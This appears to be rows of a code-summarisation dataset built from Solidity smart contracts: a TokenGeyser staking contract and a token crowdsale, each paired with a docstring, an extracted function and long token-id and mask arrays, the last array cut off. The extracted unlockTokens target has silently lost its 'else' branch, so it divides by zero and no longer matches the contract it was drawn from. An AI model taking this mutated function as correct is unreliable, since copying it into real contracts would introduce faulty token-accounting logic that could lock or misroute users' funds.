function stake(uint256 amount) external {
_stakeFor(msg.sender, msg.sender, amount);
}
function stakeFor(
address user,
uint256 amount
) external onlyOwner {
_stakeFor(msg.sender, user, amount);
}
/**
* @dev Private implementation of staking methods.
* @param staker User address who deposits tokens to stake.
* @param beneficiary User address who gains credit for this stake operation.
* @param amount Number of deposit tokens to stake.
*/
function _stakeFor(
address staker,
address beneficiary,
uint256 amount
) private {
require(amount > 0, "TokenGeyser: stake amount is zero");
require(
beneficiary != address(0),
"TokenGeyser: beneficiary is zero address"
);
require(
totalStakingShares == 0 || totalStaked() > 0,
"TokenGeyser: Invalid state. Staking shares exist, but no staking tokens do"
);
uint256 mintedStakingShares = (totalStakingShares > 0)
? totalStakingShares.mul(amount).div(totalStaked())
: amount.mul(_initialSharesPerToken);
require(mintedStakingShares > 0, "TokenGeyser: Stake amount is too small");
updateAccounting();
// 1. User Accounting
_userTotals[beneficiary].stakingShares = _userTotals[beneficiary]
.stakingShares
.add(mintedStakingShares);
_userTotals[beneficiary].lastAccountingTimestampSec = now;
Stake memory newStake = Stake(mintedStakingShares, now);
_userStakes[beneficiary].push(newStake);
// 2. Global Accounting
totalStakingShares = totalStakingShares.add(mintedStakingShares);
// Already set in updateAccounting()
// _lastAccountingTimestampSec = now;
// interactions
require(
_stakingPool.token().transferFrom(staker, address(_stakingPool), amount),
"TokenGeyser: transfer into staking pool failed"
);
emit Staked(beneficiary, amount, totalStakedFor(beneficiary), "");
}
function unstake(uint256 amount) external {
_unstake(amount);
}
/**
* @param amount Number of deposit tokens to unstake / withdraw.
* @return The total number of distribution tokens that would be rewarded.
*/
function unstakeQuery(uint256 amount) public returns (uint256) {
return _unstake(amount);
}
/**
* @dev Unstakes a certain amount of previously deposited tokens. User also receives their
* alotted number of distribution tokens.
* @param amount Number of deposit tokens to unstake / withdraw.
* @return The total number of distribution tokens rewarded.
*/
function _unstake(uint256 amount) private returns (uint256) {
updateAccounting();
// checks
require(amount > 0, "TokenGeyser: unstake amount is zero");
require(
totalStakedFor(msg.sender) >= amount,
"TokenGeyser: unstake amount is greater than total user stakes"
);
uint256 stakingSharesToBurn = totalStakingShares.mul(amount).div(
totalStaked()
);
require(
stakingSharesToBurn > 0,
"TokenGeyser: Unable to unstake amount this small"
);
// Redeem from most recent stake and go backwards in time.
uint256 stakingShareSecondsToBurn = 0;
uint256 sharesLeftToBurn = stakingSharesToBurn;
uint256 rewardAmount = 0;
while (sharesLeftToBurn > 0) {
Stake storage lastStake = _userStakes[msg.sender][_userStakes[msg.sender]
.length - 1];
uint256 stakeTimeSec = now.sub(lastStake.timestampSec);
uint256 newStakingShareSecondsToBurn = 0;
if (lastStake.stakingShares <= sharesLeftToBurn) {
// fully redeem a past stake
newStakingShareSecondsToBurn = lastStake.stakingShares.mul(
stakeTimeSec
);
rewardAmount = computeNewReward(
rewardAmount,
newStakingShareSecondsToBurn,
stakeTimeSec
);
stakingShareSecondsToBurn = stakingShareSecondsToBurn.add(
newStakingShareSecondsToBurn
);
sharesLeftToBurn = sharesLeftToBurn.sub(lastStake.stakingShares);
_userStakes[msg.sender].length--;
} else {
// partially redeem a past stake
newStakingShareSecondsToBurn = sharesLeftToBurn.mul(stakeTimeSec);
rewardAmount = computeNewReward(
rewardAmount,
newStakingShareSecondsToBurn,
stakeTimeSec
);
stakingShareSecondsToBurn = stakingShareSecondsToBurn.add(
newStakingShareSecondsToBurn
);
lastStake.stakingShares = lastStake.stakingShares.sub(sharesLeftToBurn);
sharesLeftToBurn = 0;
}
}
_userTotals[msg.sender].stakingShareSeconds = _userTotals[msg.sender]
.stakingShareSeconds
.sub(stakingShareSecondsToBurn);
_userTotals[msg.sender].stakingShares = _userTotals[msg.sender]
.stakingShares
.sub(stakingSharesToBurn);
// Already set in updateAccounting
// totals.lastAccountingTimestampSec = now;
// 2. Global Accounting
_totalStakingShareSeconds = _totalStakingShareSeconds.sub(
stakingShareSecondsToBurn
);
totalStakingShares = totalStakingShares.sub(stakingSharesToBurn);
// Already set in updateAccounting
// _lastAccountingTimestampSec = now;
// interactions
require(
_stakingPool.transfer(msg.sender, amount),
"TokenGeyser: transfer out of staking pool failed"
);
require(
_unlockedPool.transfer(msg.sender, rewardAmount),
"TokenGeyser: transfer out of unlocked pool failed"
);
emit Unstaked(msg.sender, amount, totalStakedFor(msg.sender), "");
emit TokensClaimed(msg.sender, rewardAmount);
require(
totalStakingShares == 0 || totalStaked() > 0,
"TokenGeyser: Error unstaking. Staking shares exist, but no staking tokens do"
);
return rewardAmount;
}
/**
* @dev Applies an additional time-bonus to a distribution amount. This is necessary to
* encourage long-term deposits instead of constant unstake/restakes.
* The bonus-multiplier is the result of a linear function that starts at startBonus and
* ends at 100% over bonusPeriodSec, then stays at 100% thereafter.
* @param currentRewardTokens The current number of distribution tokens already alotted for this
* unstake op. Any bonuses are already applied.
* @param stakingShareSeconds The stakingShare-seconds that are being burned for new
* distribution tokens.
* @param stakeTimeSec Length of time for which the tokens were staked. Needed to calculate
* the time-bonus.
* @return Updated amount of distribution tokens to award, with any bonus included on the
* newly added tokens.
*/
function computeNewReward(
uint256 currentRewardTokens,
uint256 stakingShareSeconds,
uint256 stakeTimeSec
) private view returns (uint256) {
uint256 newRewardTokens = totalUnlocked().mul(stakingShareSeconds).div(
_totalStakingShareSeconds
);
if (stakeTimeSec >= bonusPeriodSec) {
return currentRewardTokens.add(newRewardTokens);
}
uint256 oneHundredPct = 10**BONUS_DECIMALS;
uint256 bonusedReward = startBonus
.add(oneHundredPct.sub(startBonus).mul(stakeTimeSec).div(bonusPeriodSec))
.mul(newRewardTokens)
.div(oneHundredPct);
return currentRewardTokens.add(bonusedReward);
}
/**
* @param addr The user to look up staking information for.
* @return The number of staking tokens deposited for addr.
*/
function totalStakedFor(address addr) public view returns (uint256) {
return
totalStakingShares > 0
? totalStaked().mul(_userTotals[addr].stakingShares).div(
totalStakingShares
)
: 0;
}
function totalShares() public view returns (uint256) {
return totalStakingShares;
}
function userStakingShares(address addr) public view returns (uint256) {
return _userTotals[addr].stakingShares;
}
/**
* @return The total number of deposit tokens staked globally, by all users.
*/
function totalStaked() public view returns (uint256) {
return _stakingPool.balance();
}
/**
* @dev Note that this application has a staking token as well as a distribution token, which
* may be different. This function is required by EIP-900.
* @return The deposit token used for staking.
*/
function token() external view returns (address) {
return address(getStakingToken());
}
/**
* @dev A globally callable function to update the accounting state of the system.
* Global state and state for the caller are updated.
* @return [0] balance of the locked pool
* @return [1] balance of the unlocked pool
* @return [2] caller's staking share seconds
* @return [3] global staking share seconds
* @return [4] Rewards caller has accumulated, optimistically assumes max time-bonus.
* @return [5] block timestamp
*/
function updateAccounting()
public
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
unlockTokens();
// Global accounting
uint256 newStakingShareSeconds = now.sub(_lastAccountingTimestampSec).mul(
totalStakingShares
);
_totalStakingShareSeconds = _totalStakingShareSeconds.add(
newStakingShareSeconds
);
_lastAccountingTimestampSec = now;
// User Accounting
uint256 newUserStakingShareSeconds = now
.sub(_userTotals[msg.sender].lastAccountingTimestampSec)
.mul(_userTotals[msg.sender].stakingShares);
_userTotals[msg.sender].stakingShareSeconds = _userTotals[msg.sender]
.stakingShareSeconds
.add(newUserStakingShareSeconds);
_userTotals[msg.sender].lastAccountingTimestampSec = now;
uint256 totalUserRewards = (_totalStakingShareSeconds > 0)
? totalUnlocked().mul(_userTotals[msg.sender].stakingShareSeconds).div(
_totalStakingShareSeconds
)
: 0;
return (
totalLocked(),
totalUnlocked(),
_userTotals[msg.sender].stakingShareSeconds,
_totalStakingShareSeconds,
totalUserRewards,
now
);
}
/**
* @return Total number of locked distribution tokens.
*/
function totalLocked() public view returns (uint256) {
return _lockedPool.balance();
}
/**
* @return Total number of unlocked distribution tokens.
*/
function totalUnlocked() public view returns (uint256) {
return _unlockedPool.balance();
}
/**
* @return Number of unlock schedules.
*/
function unlockScheduleCount() public view returns (uint256) {
return unlockSchedules.length;
}
/**
* @dev This funcion allows the contract owner to add more locked distribution tokens, along
* with the associated "unlock schedule". These locked tokens immediately begin unlocking
* linearly over the duraction of durationSec timeframe.
* @param amount Number of distribution tokens to lock. These are transferred from the caller.
* @param durationSec Length of time to linear unlock the tokens.
*/
function lockTokens(uint256 amount, uint256 durationSec) external onlyOwner {
require(
unlockSchedules.length < _maxUnlockSchedules,
"TokenGeyser: reached maximum unlock schedules"
);
// Update lockedTokens amount before using it in computations after.
updateAccounting();
uint256 lockedTokens = totalLocked();
uint256 mintedLockedShares = (lockedTokens > 0)
? totalLockedShares.mul(amount).div(lockedTokens)
: amount.mul(_initialSharesPerToken);
UnlockSchedule memory schedule;
schedule.initialLockedShares = mintedLockedShares;
schedule.lastUnlockTimestampSec = now;
schedule.endAtSec = now.add(durationSec);
schedule.durationSec = durationSec;
unlockSchedules.push(schedule);
totalLockedShares = totalLockedShares.add(mintedLockedShares);
require(
_lockedPool.token().transferFrom(
msg.sender,
address(_lockedPool),
amount
),
"TokenGeyser: transfer into locked pool failed"
);
emit TokensLocked(amount, durationSec, totalLocked());
}
/**
* @dev Moves distribution tokens from the locked pool to the unlocked pool, according to the
* previously defined unlock schedules. Publicly callable.
* @return Number of newly unlocked distribution tokens.
*/
function unlockTokens() public returns (uint256) {
uint256 unlockedTokens = 0;
uint256 lockedTokens = totalLocked();
if (totalLockedShares == 0) {
unlockedTokens = lockedTokens;
} else {
uint256 unlockedShares = 0;
for (uint256 s = 0; s < unlockSchedules.length; s++) {
unlockedShares = unlockedShares.add(unlockScheduleShares(s));
}
unlockedTokens = unlockedShares.mul(lockedTokens).div(totalLockedShares);
totalLockedShares = totalLockedShares.sub(unlockedShares);
}
if (unlockedTokens > 0) {
require(
_lockedPool.transfer(address(_unlockedPool), unlockedTokens),
"TokenGeyser: transfer out of locked pool failed"
);
emit TokensUnlocked(unlockedTokens, totalLocked());
}
return unlockedTokens;
}
/**
* @dev Returns the number of unlockable shares from a given schedule. The returned value
* depends on the time since the last unlock. This function updates schedule accounting,
* but does not actually transfer any tokens.
* @param s Index of the unlock schedule.
* @return The number of unlocked shares.
*/
function unlockScheduleShares(uint256 s) private returns (uint256) {
UnlockSchedule storage schedule = unlockSchedules[s];
if (schedule.unlockedShares >= schedule.initialLockedShares) {
return 0;
}
uint256 sharesToUnlock = 0;
// Special case to handle any leftover dust from integer division
if (now >= schedule.endAtSec) {
sharesToUnlock = (
schedule.initialLockedShares.sub(schedule.unlockedShares)
);
schedule.lastUnlockTimestampSec = schedule.endAtSec;
} else {
sharesToUnlock = now
.sub(schedule.lastUnlockTimestampSec)
.mul(schedule.initialLockedShares)
.div(schedule.durationSec);
schedule.lastUnlockTimestampSec = now;
}
schedule.unlockedShares = schedule.unlockedShares.add(sharesToUnlock);
return sharesToUnlock;
}
/**
* @dev Lets the owner rescue funds air-dropped to the staking pool.
* @param tokenToRescue Address of the token to be rescued.
* @param to Address to which the rescued funds are to be sent.
* @param amount Amount of tokens to be rescued.
* @return Transfer success.
*/
function rescueFundsFromStakingPool(
address tokenToRescue,
address to,
uint256 amount
) public onlyOwner returns (bool) {
return _stakingPool.rescueFunds(tokenToRescue, to, amount);
}
} | * @dev Moves distribution tokens from the locked pool to the unlocked pool, according to the previously defined unlock schedules. Publicly callable. @return Number of newly unlocked distribution tokens./ | function unlockTokens() public returns (uint256) {
uint256 unlockedTokens = 0;
uint256 lockedTokens = totalLocked();
if (totalLockedShares == 0) {
unlockedTokens = lockedTokens;
uint256 unlockedShares = 0;
for (uint256 s = 0; s < unlockSchedules.length; s++) {
unlockedShares = unlockedShares.add(unlockScheduleShares(s));
}
unlockedTokens = unlockedShares.mul(lockedTokens).div(totalLockedShares);
totalLockedShares = totalLockedShares.sub(unlockedShares);
}
if (unlockedTokens > 0) {
require(
_lockedPool.transfer(address(_unlockedPool), unlockedTokens),
"TokenGeyser: transfer out of locked pool failed"
);
emit TokensUnlocked(unlockedTokens, totalLocked());
}
return unlockedTokens;
}
| 1,288,765 | [
1,
19297,
7006,
2430,
628,
326,
8586,
2845,
358,
326,
25966,
2845,
16,
4888,
358,
326,
1377,
7243,
2553,
7186,
26720,
18,
7224,
715,
4140,
18,
327,
3588,
434,
10894,
25966,
7006,
2430,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
225,
445,
7186,
5157,
1435,
1071,
1135,
261,
11890,
5034,
13,
288,
203,
565,
2254,
5034,
25966,
5157,
273,
374,
31,
203,
565,
2254,
5034,
8586,
5157,
273,
2078,
8966,
5621,
203,
203,
565,
309,
261,
4963,
8966,
24051,
422,
374,
13,
288,
203,
1377,
25966,
5157,
273,
8586,
5157,
31,
203,
1377,
2254,
5034,
25966,
24051,
273,
374,
31,
203,
1377,
364,
261,
11890,
5034,
272,
273,
374,
31,
272,
411,
7186,
27073,
18,
2469,
31,
272,
27245,
288,
203,
3639,
25966,
24051,
273,
25966,
24051,
18,
1289,
12,
26226,
6061,
24051,
12,
87,
10019,
203,
1377,
289,
203,
1377,
25966,
5157,
273,
25966,
24051,
18,
16411,
12,
15091,
5157,
2934,
2892,
12,
4963,
8966,
24051,
1769,
203,
1377,
2078,
8966,
24051,
273,
2078,
8966,
24051,
18,
1717,
12,
318,
15091,
24051,
1769,
203,
565,
289,
203,
203,
565,
309,
261,
318,
15091,
5157,
405,
374,
13,
288,
203,
1377,
2583,
12,
203,
3639,
389,
15091,
2864,
18,
13866,
12,
2867,
24899,
318,
15091,
2864,
3631,
25966,
5157,
3631,
203,
3639,
315,
1345,
43,
402,
550,
30,
7412,
596,
434,
8586,
2845,
2535,
6,
203,
1377,
11272,
203,
1377,
3626,
13899,
7087,
329,
12,
318,
15091,
5157,
16,
2078,
8966,
10663,
203,
565,
289,
203,
203,
565,
327,
25966,
5157,
31,
203,
225,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
pragma solidity ^0.4.24;
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract BasicERC20
{
/* Public variables of the token */
string public standard = 'ERC20';
string public name;
string public symbol;
uint8 public decimals;
uint256 public totalSupply;
bool public isTokenTransferable = true;
/* This creates an array with all balances */
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
/* This generates a public event on the blockchain that will notify clients */
event Transfer(address indexed from, address indexed to, uint256 value);
/* Send coins */
function transfer(address _to, uint256 _value) public {
assert(isTokenTransferable);
assert(balanceOf[msg.sender] >= _value); // Check if the sender has enough
if (balanceOf[_to] + _value < balanceOf[_to]) throw; // Check for overflows
balanceOf[msg.sender] -= _value; // Subtract from the sender
balanceOf[_to] += _value; // Add the same to the recipient
emit Transfer(msg.sender, _to, _value); // Notify anyone listening that this transfer took place
}
/* Allow another contract to spend some tokens in your behalf */
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
/* A contract attempts to get the coins */
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
assert(isTokenTransferable || _from == address(0x0)); // allow to transfer for crowdsale
if (balanceOf[_from] < _value) throw; // Check if the sender has enough
if (balanceOf[_to] + _value < balanceOf[_to]) throw; // Check for overflows
if (_value > allowance[_from][msg.sender]) throw; // Check allowance
balanceOf[_from] -= _value; // Subtract from the sender
balanceOf[_to] += _value; // Add the same to the recipient
allowance[_from][msg.sender] -= _value;
emit Transfer(_from, _to, _value);
return true;
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract BasicCrowdsale is Ownable
{
using SafeMath for uint256;
BasicERC20 token;
address public ownerWallet;
uint256 public startTime;
uint256 public endTime;
uint256 public totalEtherRaised = 0;
uint256 public totalTokensSold = 0;
uint256 public softCapEther;
uint256 public hardCapEther;
mapping(address => uint256) private deposits;
mapping(address => uint256) public amounts;
constructor () public {
}
function () external payable {
buy(msg.sender);
}
function getSettings () view public returns(uint256 _startTime,
uint256 _endTime,
uint256 _rate,
uint256 _totalEtherRaised,
uint256 _maxAmount,
uint256 _tokensLeft ) {
_startTime = startTime;
_endTime = endTime;
_rate = getRate();
_totalEtherRaised = totalEtherRaised;
_maxAmount = getMaxAmount();
_tokensLeft = tokensLeft();
}
function tokensLeft() view public returns (uint256)
{
return token.balanceOf(address(0x0));
}
function getRate() view public returns (uint256) {
assert(false);
}
function getMinAmount(address userAddress) view public returns (uint256) {
assert(false);
}
function getMaxAmount() view public returns (uint256) {
assert(false);
}
function getTokenAmount(uint256 weiAmount) public view returns(uint256) {
return weiAmount.mul(getRate());
}
function checkCorrectPurchase() view internal {
require(startTime < now && now < endTime);
require(totalEtherRaised + msg.value < hardCapEther);
}
function isCrowdsaleFinished() view public returns(bool)
{
return totalEtherRaised >= hardCapEther || now > endTime;
}
function buy(address userAddress) public payable {
require(userAddress != address(0));
checkCorrectPurchase();
// calculate token amount to be created
uint256 tokens = getTokenAmount(msg.value);
assert(tokens >= getMinAmount(userAddress));
assert(tokens.add(totalTokensSold) <= getMaxAmount());
// update state
totalEtherRaised = totalEtherRaised.add(msg.value);
totalTokensSold = totalTokensSold.add(tokens);
token.transferFrom(address(0x0), userAddress, tokens);
amounts[userAddress] = amounts[userAddress].add(tokens);
if (totalEtherRaised >= softCapEther)
{
ownerWallet.transfer(this.balance);
}
else
{
deposits[userAddress] = deposits[userAddress].add(msg.value);
}
}
function getRefundAmount(address userAddress) view public returns (uint256)
{
if (totalEtherRaised >= softCapEther) return 0;
return deposits[userAddress];
}
function refund(address userAddress) public
{
assert(totalEtherRaised < softCapEther && now > endTime);
uint256 amount = deposits[userAddress];
deposits[userAddress] = 0;
amounts[userAddress] = 0;
userAddress.transfer(amount);
}
}
contract Crowdsale is BasicCrowdsale
{
constructor () public {
ownerWallet = 0xb02ea41cf7e8c47d5958defda88e46b9786e12ae;
startTime = 1564617600;
endTime = 1609459199;
token = BasicERC20(0x2a629aac0a49c7f51f23a6ff92deecf27b554aa0);
softCapEther = 1000000000000000000;
hardCapEther = 125000000000000000000000000;
transferOwnership(0xb02ea41cf7e8c47d5958defda88e46b9786e12ae);
}
function getRate() view public returns (uint256) {
// you can convert unix timestamp to human date here https://www.epochconverter.com
// 2019-08-01T00:00:00
if (block.timestamp <= 1567296000) return 9;
// 2019-10-30T00:00:00
if (block.timestamp <= 1575158400) return 7;
return 5;
}
function getMinAmount(address userAddress) view public returns (uint256) {
// you can convert unix timestamp to human date here https://www.epochconverter.com
// 2019-08-01T00:00:00
if (block.timestamp <= 1567296000){
if(amounts[userAddress] < 10000000000000000000000){
return uint256(10000000000000000000000).sub(amounts[userAddress]);
}
else{
return 1000000000000000000;
}
}
// 2019-10-30T00:00:00
if (block.timestamp <= 1575158400){
if(amounts[userAddress] < 10000000000000000000000){
return uint256(10000000000000000000000).sub(amounts[userAddress]);
}
else{
return 1000000000000000000;
}
}
return 1;
}
function getMaxAmount() view public returns (uint256) {
// you can convert unix timestamp to human date here https://www.epochconverter.com
// 2019-08-01T00:00:00
if (block.timestamp <= 1567296000) return 100000000000000000000000000;
// 2019-10-30T00:00:00
if (block.timestamp <= 1575158400) return 100000000000000000000000000;
return 750000000000000000000000000;
}
} | calculate token amount to be created update state | function buy(address userAddress) public payable {
require(userAddress != address(0));
checkCorrectPurchase();
uint256 tokens = getTokenAmount(msg.value);
assert(tokens >= getMinAmount(userAddress));
assert(tokens.add(totalTokensSold) <= getMaxAmount());
totalEtherRaised = totalEtherRaised.add(msg.value);
totalTokensSold = totalTokensSold.add(tokens);
token.transferFrom(address(0x0), userAddress, tokens);
amounts[userAddress] = amounts[userAddress].add(tokens);
if (totalEtherRaised >= softCapEther)
{
ownerWallet.transfer(this.balance);
}
else
{
deposits[userAddress] = deposits[userAddress].add(msg.value);
}
}
| 10,385,781 | [
1,
11162,
1147,
3844,
358,
506,
2522,
1089,
919,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
30143,
12,
2867,
729,
1887,
13,
1071,
8843,
429,
288,
203,
3639,
2583,
12,
1355,
1887,
480,
1758,
12,
20,
10019,
203,
3639,
866,
16147,
23164,
5621,
203,
203,
3639,
2254,
5034,
2430,
273,
9162,
6275,
12,
3576,
18,
1132,
1769,
203,
203,
3639,
1815,
12,
7860,
1545,
9555,
6275,
12,
1355,
1887,
10019,
203,
3639,
1815,
12,
7860,
18,
1289,
12,
4963,
5157,
55,
1673,
13,
1648,
7288,
6275,
10663,
203,
203,
3639,
2078,
41,
1136,
12649,
5918,
273,
2078,
41,
1136,
12649,
5918,
18,
1289,
12,
3576,
18,
1132,
1769,
203,
3639,
2078,
5157,
55,
1673,
273,
2078,
5157,
55,
1673,
18,
1289,
12,
7860,
1769,
203,
203,
3639,
1147,
18,
13866,
1265,
12,
2867,
12,
20,
92,
20,
3631,
729,
1887,
16,
2430,
1769,
203,
3639,
30980,
63,
1355,
1887,
65,
273,
30980,
63,
1355,
1887,
8009,
1289,
12,
7860,
1769,
203,
203,
3639,
309,
261,
4963,
41,
1136,
12649,
5918,
1545,
8971,
4664,
41,
1136,
13,
203,
3639,
288,
203,
5411,
3410,
16936,
18,
13866,
12,
2211,
18,
12296,
1769,
203,
3639,
289,
203,
3639,
469,
203,
3639,
288,
203,
5411,
443,
917,
1282,
63,
1355,
1887,
65,
273,
443,
917,
1282,
63,
1355,
1887,
8009,
1289,
12,
3576,
18,
1132,
1769,
203,
3639,
289,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./full_match/1/0x4B9195D13fd61871f72621141eEECfb6426388bC/sources/localhost/DPiggyAsset.sol | * @dev Internal function to get the calculated rate. @param amount The amount of Dai. @param lastExecution The last Compound redeem execution data. @return The calculated rate for the execution./Whether the asset is cDai then the net profit continues on Compound contract. | function _getRateForExecution(uint256 amount, Execution storage lastExecution) internal view returns(uint256) {
uint256 remainingBalance = 0;
if (isCompound && lastExecution.totalDai > 0) {
remainingBalance = _getRemainingExecutionProfit(lastExecution);
}
return amount.mul(lastExecution.rate).div(totalBalance.add(remainingBalance).sub(totalBalanceNormalizedDifference[(executionId+1)]));
}
| 4,888,807 | [
1,
3061,
445,
358,
336,
326,
8894,
4993,
18,
225,
3844,
1021,
3844,
434,
463,
10658,
18,
225,
1142,
3210,
1021,
1142,
21327,
283,
24903,
4588,
501,
18,
327,
1021,
8894,
4993,
364,
326,
4588,
18,
19,
18247,
326,
3310,
353,
276,
40,
10658,
1508,
326,
2901,
450,
7216,
29359,
603,
21327,
6835,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
389,
588,
4727,
1290,
3210,
12,
11890,
5034,
3844,
16,
8687,
2502,
1142,
3210,
13,
2713,
1476,
1135,
12,
11890,
5034,
13,
288,
203,
3639,
2254,
5034,
4463,
13937,
273,
374,
31,
203,
3639,
309,
261,
291,
16835,
597,
1142,
3210,
18,
4963,
40,
10658,
405,
374,
13,
288,
203,
5411,
4463,
13937,
273,
389,
588,
11429,
3210,
626,
7216,
12,
2722,
3210,
1769,
203,
3639,
289,
203,
3639,
327,
3844,
18,
16411,
12,
2722,
3210,
18,
5141,
2934,
2892,
12,
4963,
13937,
18,
1289,
12,
17956,
13937,
2934,
1717,
12,
4963,
13937,
